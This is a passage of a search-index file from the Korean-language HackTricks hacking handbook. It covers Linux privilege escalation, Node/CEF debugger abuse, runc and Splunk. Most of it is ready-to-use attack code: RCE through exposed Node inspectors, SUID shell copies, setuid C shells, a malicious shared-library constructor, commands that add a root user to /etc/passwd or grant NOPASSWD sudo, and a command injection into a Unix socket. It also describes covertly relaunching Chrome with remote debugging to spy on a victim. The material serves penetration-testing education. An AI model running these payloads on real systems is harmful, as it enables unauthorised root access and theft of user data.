됩니다.","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » 실행 중인 프로세스에서 인스펙터 시작하기","id":"1874","title":"실행 중인 프로세스에서 인스펙터 시작하기"},"1875":{"body":"Chromium 기반 브라우저 에 연결하려면 Chrome 또는 Edge에 대해 각각 chrome://inspect 또는 edge://inspect URL에 접근할 수 있습니다. 구성 버튼을 클릭하여 대상 호스트와 포트 가 올바르게 나열되어 있는지 확인해야 합니다. 이미지는 원격 코드 실행(RCE) 예제를 보여줍니다: 명령줄 을 사용하여 다음과 같이 디버거/검사기에 연결할 수 있습니다: bash node inspect :\\nnode inspect 127.0.0.1:9229\\n# RCE example from debug console\\ndebug> exec(\\"process.mainModule.require(\'child_process\').exec(\'/Applications/iTerm.app/Contents/MacOS/iTerm2\')\\") 도구 https://github.com/taviso/cefdebug 는 로컬에서 실행 중인 검사기 를 찾고 그 안에 코드를 주입 할 수 있게 해줍니다. bash #List possible vulnerable sockets\\n./cefdebug.exe\\n#Check if possibly vulnerable\\n./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code \\"process.version\\"\\n#Exploit it\\n./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code \\"process.mainModule.require(\'child_process\').exec(\'calc\')\\" note NodeJS RCE 익스플로잇은 Chrome DevTools Protocol 에 연결된 경우 작동하지 않습니다(흥미로운 작업을 수행하기 위해 API를 확인해야 합니다).","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » 검사기/디버거에 연결","id":"1875","title":"검사기/디버거에 연결"},"1876":{"body":"note Electron에서 XSS로 RCE를 얻는 방법을 찾고 있다면 이 페이지를 확인하세요. Node 인스펙터 에 연결 할 수 있을 때 RCE 를 얻는 일반적인 방법 중 일부는 다음과 같습니다(이 Chrome DevTools 프로토콜에 연결할 때는 작동하지 않을 것 같습니다 ): javascript process.mainModule.require(\\"child_process\\").exec(\\"calc\\")\\nwindow.appshell.app.openURLInDefaultBrowser(\\"c:/windows/system32/calc.exe\\")\\nrequire(\\"child_process\\").spawnSync(\\"calc.exe\\")\\nBrowser.open(JSON.stringify({ url: \\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\calc.exe\\" }))","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » NodeJS 디버거/인스펙터에서의 RCE","id":"1876","title":"NodeJS 디버거/인스펙터에서의 RCE"},"1877":{"body":"API를 여기에서 확인할 수 있습니다: https://chromedevtools.github.io/devtools-protocol/ 이 섹션에서는 사람들이 이 프로토콜을 악용하는 데 사용한 흥미로운 것들을 나열하겠습니다.","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » Chrome DevTools Protocol Payloads","id":"1877","title":"Chrome DevTools Protocol Payloads"},"1878":{"body":"CVE-2021-38112 에서 Rhino 보안은 CEF 기반 애플리케이션이 시스템에 사용자 정의 URI (workspaces://index.html)를 등록하여 전체 URI를 수신하고, 그 URI에서 부분적으로 구성된 설정으로 CEF 기반 애플리케이션 을 실행한다는 것을 발견했습니다. URI 매개변수가 URL 디코딩되어 CEF 기본 애플리케이션을 실행하는 데 사용되었으며, 사용자가 명령줄 에 --gpu-launcher 플래그를 주입 하고 임의의 작업을 실행할 수 있게 되었습니다. 따라서, 다음과 같은 페이로드: workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE calc.exe를 실행합니다.","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » Deep Links를 통한 매개변수 주입","id":"1878","title":"Deep Links를 통한 매개변수 주입"},"1879":{"body":"다운로드된 파일이 저장될 폴더 를 변경하고, 악성 코드 로 애플리케이션의 자주 사용되는 소스 코드 를 덮어쓰기 위해 파일을 다운로드합니다. javascript ws = new WebSocket(url) //URL of the chrome devtools service\\nws.send(\\nJSON.stringify({\\nid: 42069,\\nmethod: \\"Browser.setDownloadBehavior\\",\\nparams: {\\nbehavior: \\"allow\\",\\ndownloadPath: \\"/code/\\",\\n},\\n})\\n)","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » 파일 덮어쓰기","id":"1879","title":"파일 덮어쓰기"},"188":{"body":"완벽하게 강화된 스위치 구성도 펌웨어 버그에 의해 저해될 수 있습니다. 최근 사례는 다음과 같습니다: CVE-2022-20728† – Cisco Aironet/Catalyst 액세스 포인트 는 기본 VLAN에서 비기본 WLAN VLAN으로의 주입을 허용하여 유선/무선 분리를 우회합니다. **CVE-2024-20465 (Cisco IOS Industrial Ethernet)**는 Resilient Ethernet Protocol을 전환한 후 SVI에서 ACL 우회를 허용하여 VRF/VLAN 간의 트래픽을 유출합니다. 패치 17.9.5 이상. 항상 VLAN 관련 우회/ACL 문제에 대한 벤더 권고 사항을 모니터링하고 인프라 이미지를 최신 상태로 유지하십시오.","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 실제 벤더 취약점 (2022-2024)","id":"188","title":"실제 벤더 취약점 (2022-2024)"},"1880":{"body":"이 게시물에 따르면: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 RCE를 얻고 내부 페이지를 유출하는 것이 가능합니다.","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » Webdriver RCE 및 유출","id":"1880","title":"Webdriver RCE 및 유출"},"1881":{"body":"실제 환경에서 사용자 PC를 타겟으로 한 후 Chrome/Chromium 기반 브라우저를 사용하는 경우, 디버깅이 활성화된 Chrome 프로세스를 실행하고 디버깅 포트를 포트 포워딩 하여 접근할 수 있습니다. 이렇게 하면 희생자가 Chrome으로 수행하는 모든 작업을 검사하고 민감한 정보를 훔칠 수 있습니다 . 은밀한 방법은 모든 Chrome 프로세스를 종료 한 다음 다음과 같은 것을 호출하는 것입니다. bash Start-Process \\"Chrome\\" \\"--remote-debugging-port=9222 --restore-last-session\\"","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » 사후 활용","id":"1881","title":"사후 활용"},"1882":{"body":"https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s https://github.com/taviso/cefdebug https://iwantmore.pizza/posts/cve-2019-1414.html https://bugs.chromium.org/p/project-zero/issues/detail?id=773 https://bugs.chromium.org/p/project-zero/issues/detail?id=1742 https://bugs.chromium.org/p/project-zero/issues/detail?id=1944 https://nodejs.org/en/docs/guides/debugging-getting-started/ https://chromedevtools.github.io/devtools-protocol/ https://larry.science/post/corctf-2021/#saasme-2-solves https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » References","id":"1882","title":"References"},"1883":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » 실행할 페이로드","id":"1883","title":"실행할 페이로드"},"1884":{"body":"bash cp /bin/bash /tmp/b && chmod +s /tmp/b\\n/bin/b -p #Maintains root privileges from suid, working in debian & buntu","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » 배시","id":"1884","title":"배시"},"1885":{"body":"c //gcc payload.c -o payload\\nint main(void){\\nsetresuid(0, 0, 0); //Set as user suid user\\nsystem(\\"/bin/sh\\");\\nreturn 0;\\n} c //gcc payload.c -o payload\\n#include \\n#include \\n#include int main(){\\nsetuid(getuid());\\nsystem(\\"/bin/bash\\");\\nreturn 0;\\n} c // Privesc to user id: 1000\\n#define _GNU_SOURCE\\n#include \\n#include int main(void) {\\nchar *const paramList[10] = {\\"/bin/bash\\", \\"-p\\", NULL};\\nconst int id = 1000;\\nsetresuid(id, id, id);\\nexecve(paramList[0], paramList, NULL);\\nreturn 0;\\n}","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » C","id":"1885","title":"C"},"1886":{"body":"","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » 권한 상승을 위한 파일 덮어쓰기","id":"1886","title":"권한 상승을 위한 파일 덮어쓰기"},"1887":{"body":"_/etc/passwd_에 비밀번호가 있는 사용자 추가 _/etc/shadow_에서 비밀번호 변경 _/etc/sudoers_에 사용자 추가 일반적으로 /run/docker.sock 또는 _/var/run/docker.sock_에 있는 도커 소켓을 통해 도커 남용","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » 일반 파일","id":"1887","title":"일반 파일"},"1888":{"body":"어떤 바이너리에서 사용되는 라이브러리를 확인합니다. 이 경우는 /bin/su: bash ldd /bin/su\\nlinux-vdso.so.1 (0x00007ffef06e9000)\\nlibpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)\\nlibpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)\\nlibaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)\\nlibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)\\nlibdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)\\nlibcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)\\n/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) 이 경우 /lib/x86_64-linux-gnu/libaudit.so.1를 가장해 보겠습니다. 따라서 su 바이너리에서 사용되는 이 라이브러리의 함수를 확인하십시오: bash objdump -T /bin/su | grep audit\\n0000000000000000 DF *UND* 0000000000000000 audit_open\\n0000000000000000 DF *UND* 0000000000000000 audit_log_user_message\\n0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message\\n000000000020e968 g DO .bss 0000000000000004 Base audit_fd 기호 audit_open, audit_log_acct_message, audit_log_acct_message 및 audit_fd는 아마도 libaudit.so.1 라이브러리에서 온 것입니다. libaudit.so.1이 악성 공유 라이브러리에 의해 덮어쓰여지기 때문에, 이러한 기호는 새로운 공유 라이브러리에 존재해야 하며, 그렇지 않으면 프로그램이 기호를 찾을 수 없고 종료됩니다. c #include\\n#include\\n#include //gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c int audit_open;\\nint audit_log_acct_message;\\nint audit_log_user_message;\\nint audit_fd; void inject()__attribute__((constructor)); void inject()\\n{\\nsetuid(0);\\nsetgid(0);\\nsystem(\\"/bin/bash\\");\\n} 이제 단순히 **/bin/su**를 호출하면 루트로서 셸을 얻을 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » 라이브러리 덮어쓰기","id":"1888","title":"라이브러리 덮어쓰기"},"1889":{"body":"루트가 무언가를 실행하도록 할 수 있나요?","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » 스크립트","id":"1889","title":"스크립트"},"189":{"body":"https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 VLANPWN 공격 툴킷 – https://github.com/casterbytethrowback/VLANPWN Twingate \\"VLAN 홉핑이란?\\" (2024년 8월) – https://www.twingate.com/blog/glossary/vlan%20hopping VoIP Hopper 프로젝트 – https://github.com/hmgh0st/voiphopper Cisco 권고 “cisco-sa-apvlan-TDTtb4FY” – https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 참고 문헌","id":"189","title":"참고 문헌"},"1890":{"body":"bash echo \'chmod 777 /etc/sudoers && echo \\"www-data ALL=NOPASSWD:ALL\\" >> /etc/sudoers && chmod 440 /etc/sudoers\' > /tmp/update","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » www-data를 sudoers에 추가","id":"1890","title":"www-data를 sudoers에 추가"},"1891":{"body":"bash echo \\"root:hacked\\" | chpasswd","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » 루트 비밀번호 변경","id":"1891","title":"루트 비밀번호 변경"},"1892":{"body":"bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo \'$1$mysalt$7DTZJIc9s6z60L6aj0Sui.\') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Payloads to execute » /etc/passwd에 새로운 루트 사용자 추가","id":"1892","title":"/etc/passwd에 새로운 루트 사용자 추가"},"1893":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » RunC Privilege Escalation » RunC 권한 상승","id":"1893","title":"RunC 권한 상승"},"1894":{"body":"runc 에 대해 더 알고 싶다면 다음 페이지를 확인하세요: 2375, 2376 Pentesting Docker","breadcrumbs":"Linux Privilege Escalation » RunC Privilege Escalation » 기본 정보","id":"1894","title":"기본 정보"},"1895":{"body":"호스트에 runc가 설치되어 있다면 호스트의 루트 / 폴더를 마운트하는 컨테이너를 실행할 수 있을지도 모릅니다 . bash runc -help #Get help and see if runc is intalled\\nrunc spec #This will create the config.json file in your current folder Inside the \\"mounts\\" section of the create config.json add the following lines:\\n{\\n\\"type\\": \\"bind\\",\\n\\"source\\": \\"/\\",\\n\\"destination\\": \\"/\\",\\n\\"options\\": [\\n\\"rbind\\",\\n\\"rw\\",\\n\\"rprivate\\"\\n]\\n}, #Once you have modified the config.json file, create the folder rootfs in the same directory\\nmkdir rootfs # Finally, start the container\\n# The root folder is the one from the host\\nrunc run demo caution 이것은 항상 작동하지 않을 수 있습니다. runc의 기본 작동 방식은 root로 실행하는 것이므로, 비특권 사용자로 실행하는 것은 단순히 작동할 수 없습니다(루트리스 구성 없이는). 루트리스 구성을 기본값으로 설정하는 것은 일반적으로 좋은 생각이 아닙니다. 루트리스 컨테이너 내부에는 루트리스 컨테이너 외부에는 적용되지 않는 몇 가지 제한이 있기 때문입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » RunC Privilege Escalation » PE","id":"1895","title":"PE"},"1896":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 레드햇 문서의 소개 및 예제 SELinux 는 레이블링 시스템 입니다. 모든 프로세스 와 모든 파일 시스템 객체는 레이블 을 가지고 있습니다. SELinux 정책은 프로세스 레이블이 시스템의 다른 모든 레이블과 함께 무엇을 할 수 있는지에 대한 규칙을 정의 합니다. 컨테이너 엔진은 단일 제한된 SELinux 레이블 로 컨테이너 프로세스 를 시작하며, 일반적으로 container_t를 사용하고, 그 다음 컨테이너 내부의 컨테이너를 container_file_t로 레이블을 설정합니다. SELinux 정책 규칙은 기본적으로 container_t 프로세스가 container_file_t로 레이블된 파일만 읽고/쓰고/실행할 수 있다고 말합니다 . 만약 컨테이너 프로세스가 컨테이너를 탈출하여 호스트의 콘텐츠에 쓰려고 시도하면, 리눅스 커널은 접근을 거부하고 컨테이너 프로세스가 container_file_t로 레이블된 콘텐츠에만 쓸 수 있도록 허용합니다. shell $ podman run -d fedora sleep 100\\nd4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb\\n$ podman top -l label\\nLABEL\\nsystem_u:system_r:container_t:s0:c647,c780","breadcrumbs":"Linux Privilege Escalation » SELinux » 컨테이너의 SELinux","id":"1896","title":"컨테이너의 SELinux"},"1897":{"body":"일반 Linux 사용자 외에도 SELinux 사용자가 있습니다. SELinux 사용자는 SELinux 정책의 일부입니다. 각 Linux 사용자는 정책의 일환으로 SELinux 사용자에 매핑됩니다. 이를 통해 Linux 사용자는 SELinux 사용자에게 부여된 제한 및 보안 규칙과 메커니즘을 상속받을 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » SELinux » SELinux 사용자","id":"1897","title":"SELinux 사용자"},"1898":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 다음 예제에서는 유닉스 소켓이 생성됩니다 (/tmp/socket_test.s) 그리고 수신된 모든 내용이 os.system에 의해 실행됩니다 . 이 예제가 실제 환경에서 발견되지 않을 것이라는 것을 알고 있지만, 이 예제의 목표는 유닉스 소켓을 사용하는 코드가 어떻게 생겼는지, 그리고 최악의 경우 입력을 어떻게 관리하는지를 보는 것입니다. s.py import socket\\nimport os, os.path\\nimport time\\nfrom collections import deque if os.path.exists(\\"/tmp/socket_test.s\\"):\\nos.remove(\\"/tmp/socket_test.s\\") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\\nserver.bind(\\"/tmp/socket_test.s\\")\\nos.system(\\"chmod o+w /tmp/socket_test.s\\")\\nwhile True:\\nserver.listen(1)\\nconn, addr = server.accept()\\ndatagram = conn.recv(1024)\\nif datagram:\\nprint(datagram)\\nos.system(datagram)\\nconn.close() 코드를 실행 하려면 python을 사용하세요: python s.py 그리고 소켓이 어떻게 수신 대기하는지 확인하세요 : python netstat -a -p --unix | grep \\"socket_test\\"\\n(Not all processes could be identified, non-owned process info\\nwill not be shown, you would have to be root to see it all.)\\nunix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s 익스플로잇 python echo \\"cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;\\" | socat - UNIX-CLIENT:/tmp/socket_test.s tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Socket Command Injection » Python을 이용한 소켓 바인딩 예제","id":"1898","title":"Python을 이용한 소켓 바인딩 예제"},"1899":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 기계 내부 또는 외부 를 열거 하는 동안 Splunk가 실행 중 인 것을 발견하면 (포트 8090), 운이 좋게도 유효한 자격 증명 을 알고 있다면 Splunk 서비스를 악용 하여 Splunk를 실행 중인 사용자로서 쉘을 실행 할 수 있습니다. 루트가 실행 중이라면, 루트 권한으로 상승할 수 있습니다. 또한 이미 루트이고 Splunk 서비스가 localhost에서만 수신 대기하지 않는 경우 , Splunk 서비스에서 비밀번호 파일을 훔치고 비밀번호를 크랙 하거나 새로운 자격 증명을 추가할 수 있습니다. 그리고 호스트에서 지속성을 유지할 수 있습니다. 아래 첫 번째 이미지에서 Splunkd 웹 페이지가 어떻게 생겼는지 볼 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Splunk LPE and Persistence » Splunk LPE 및 지속성","id":"1899","title":"Splunk LPE 및 지속성"},"19":{"body":"tip 이 리소스에 대해 정말 감사합니다, 어떻게 감사할 수 있을까요? HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 트윗에서 @hacktricks_live 를 언급하여 공개적으로 감사할 수 있습니다. 특별히 감사한 마음이 있다면 여기에서 프로젝트를 후원할 수 있습니다 . 그리고 Github 프로젝트에 별을 주는 것을 잊지 마세요! (아래 링크를 확인하세요). tip 프로젝트에 어떻게 기여할 수 있나요? 커뮤니티와 새로운 팁과 트릭을 공유하거나 책에서 발견한 버그를 수정 하여 해당 Github 페이지에 Pull Request 를 보낼 수 있습니다: https://github.com/carlospolop/hacktricks https://github.com/carlospolop/hacktricks-cloud Github 프로젝트에 별을 주는 것을 잊지 마세요! tip HackTricks의 일부 콘텐츠를 복사하여 내 블로그에 올릴 수 있나요? 네, 가능합니다. 하지만 콘텐츠가 어디에서 가져온 것인지에 대한 특정 링크를 언급하는 것을 잊지 마세요. tip HackTricks의 페이지를 어떻게 인용할 수 있나요? 정보를 가져온 페이지의 링크 가 나타나기만 하면 충분합니다. Bibtex가 필요하다면 다음과 같은 형식을 사용할 수 있습니다: latex @misc{hacktricks-bibtexing,\\nauthor = {\\"HackTricks Team\\" or the Authors name of the specific page/trick},\\ntitle = {Title of the Specific Page},\\nyear = {Year of Last Update (check it at the end of the page)},\\nurl = {\\\\url{https://book.hacktricks.wiki/specific-page}},\\n} warning 내 블로그에 모든 HackTricks를 복사해도 되나요? 그렇지 않기를 바랍니다 . 이는 누구에게도 도움이 되지 않습니다 . 모든 내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다 . 사라질까 두려우신가요? 그냥 GitHub에서 포크하거나 다운로드하세요. 이미 무료입니다. warning 왜 후원자가 있나요? HackTricks 책은 상업적 목적으로 만들어졌나요? 첫 번째 HackTricks 가치는 모든 사람에게 무료 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 수천 시간을 헌신 했습니다. 다시 말해, 무료 입니다. HackTricks 책이 상업적 목적 을 위해 만들어졌다고 생각하신다면, 완전히 잘못 알고 계십니다 . 우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 우리의 작업을 감사할 수 있는 가능성을 제공하고 싶기 때문입니다 . 따라서 우리는 사람들이 Github 후원자 를 통해 HackTricks에 기부할 수 있는 옵션과 관련 사이버 보안 회사들 이 HackTricks를 후원하고 책에 광고를 게재할 수 있는 옵션 을 제공합니다. 이 광고 는 항상 가시적 이지만 학습 과정에 방해가 되지 않는 곳에 배치됩니다. HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다. caution 내 블로그 게시물을 기반으로 한 HackTricks 페이지가 있지만 참조되지 않았다면 어떻게 해야 하나요? 죄송합니다. 이런 일이 발생해서는 안 됩니다 . GitHub 이슈, Twitter, Discord 등을 통해 HackTricks 페이지의 링크와 귀하의 블로그 링크를 알려주시면 확인 후 ASAP 추가하겠습니다 . caution 내 블로그의 콘텐츠가 HackTricks에 있는데 거기 있기를 원하지 않으면 어떻게 해야 하나요? HackTricks에 귀하의 페이지 링크가 있는 것은: 귀하의 SEO 를 개선합니다. 콘텐츠가 15개 이상의 언어로 번역 되어 더 많은 사람들이 이 콘텐츠에 접근할 수 있게 됩니다. HackTricks는 사람들이 귀하의 페이지를 확인하도록 장려 합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후 더 많은 방문을 받았다고 언급했습니다). 그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면 알려주시면 귀하의 블로그에 대한 모든 링크 와 그에 기반한 콘텐츠를 확실히 제거하겠습니다 . caution HackTricks에서 복사-붙여넣기된 콘텐츠를 발견하면 어떻게 해야 하나요? 우리는 항상 원래 저자에게 모든 크레딧을 부여합니다 . 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 제거 , 텍스트 앞에 링크 추가 , 또는 링크를 추가하여 다시 작성 하겠습니다.","breadcrumbs":"HackTricks Values & FAQ » HackTricks faq","id":"19","title":"HackTricks faq"},"190":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. mDNS 프로토콜은 전용 이름 서버 없이 소규모 로컬 네트워크 내에서 IP 주소 해석을 위해 설계되었습니다. 이는 서브넷 내에서 쿼리를 멀티캐스트하여 지정된 이름을 가진 호스트가 자신의 IP 주소로 응답하도록 유도합니다. 서브넷의 모든 장치는 이 정보를 사용하여 mDNS 캐시를 업데이트할 수 있습니다. 주요 사항: 도메인 이름 포기 : 호스트는 TTL이 0인 패킷을 전송하여 도메인 이름을 해제할 수 있습니다. 사용 제한 : mDNS는 일반적으로 .local 로 끝나는 이름만 해석합니다. 이 도메인에서 비-mDNS 호스트와의 충돌은 네트워크 구성 조정을 요구합니다. 네트워킹 세부정보 : 이더넷 멀티캐스트 MAC 주소: IPv4 - 01:00:5E:00:00:FB, IPv6 - 33:33:00:00:00:FB. IP 주소: IPv4 - 224.0.0.251, IPv6 - ff02::fb. UDP 포트 5353에서 작동합니다. mDNS 쿼리는 로컬 네트워크에 국한되며 라우터를 넘지 않습니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » 멀티캐스트 DNS (mDNS)","id":"190","title":"멀티캐스트 DNS (mDNS)"},"1900":{"body":"자세한 내용은 https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/ 포스트를 확인하세요. 